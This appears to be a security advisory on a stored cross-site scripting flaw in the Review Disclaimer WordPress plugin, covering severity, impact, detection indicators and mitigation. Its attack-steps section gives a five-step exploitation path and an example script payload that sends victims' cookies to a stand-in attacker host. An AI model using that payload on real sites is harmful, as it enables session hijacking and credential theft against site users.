CVE-2025-67628: 
WordPress vulnerability analysis and mitigation

CVE-2025-67628 is a Stored Cross-Site Scripting (XSS) vulnerability in the AMP-MODE "Review Disclaimer" WordPress plugin. It affects all versions from n/a through 2.0.3 and was disclosed on December 24, 2025, with Patchstack credited as the assigner. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium) (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). It arises from insufficient sanitization and escaping of user-supplied input within the Review Disclaimer plugin, allowing authenticated users with low privileges to inject and persistently store malicious scripts that are later rendered in other users' browsers. The attack vector is network-based, requires low privileges and user interaction, and has a changed scope, meaning the injected script can affect resources beyond the vulnerable component (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browser sessions on the affected WordPress site. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), and potential site defacement or malware distribution. Confidentiality and integrity impacts are rated Low, with no direct availability impact (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-67628. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with at least low-level privileges on the WordPress site (Feedly).

1. Reconnaissance: Identify WordPress sites running the Review Disclaimer plugin (version ≤ 2.0.3) using tools like WPScan or by inspecting plugin directories.
2. Authentication: Obtain a low-privileged account on the target WordPress site (e.g., subscriber or contributor role).
3. Inject Payload: Navigate to the plugin's input field(s) within the WordPress admin or front-end interface and submit a crafted payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Payload Storage: The plugin stores the unsanitized input in the WordPress database without proper escaping.
5. Trigger Execution: When an administrator or other user visits the page rendering the stored disclaimer, the malicious script executes in their browser, enabling session hijacking or further attacks (Feedly).

• Logs: WordPress access logs showing POST requests to plugin-related admin endpoints (e.g., /wp-admin/admin-post.php or plugin settings pages) containing script tags or encoded JavaScript payloads.
• Database: Unexpected <script> tags or JavaScript URIs stored in WordPress database tables associated with the Review Disclaimer plugin (e.g., wp_options or custom plugin tables).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages that render the Review Disclaimer plugin output, potentially indicating cookie or credential exfiltration.
• Browser/Client: Unexpected redirects or pop-ups experienced by users visiting pages with the Review Disclaimer plugin enabled.

WordPress site administrators should update the Review Disclaimer plugin to a version beyond 2.0.3 if a patched release is available from the plugin author (AMP-MODE). If no patch is available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Access to plugin configuration should be restricted to trusted administrators only, and a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Feedly, Patchstack).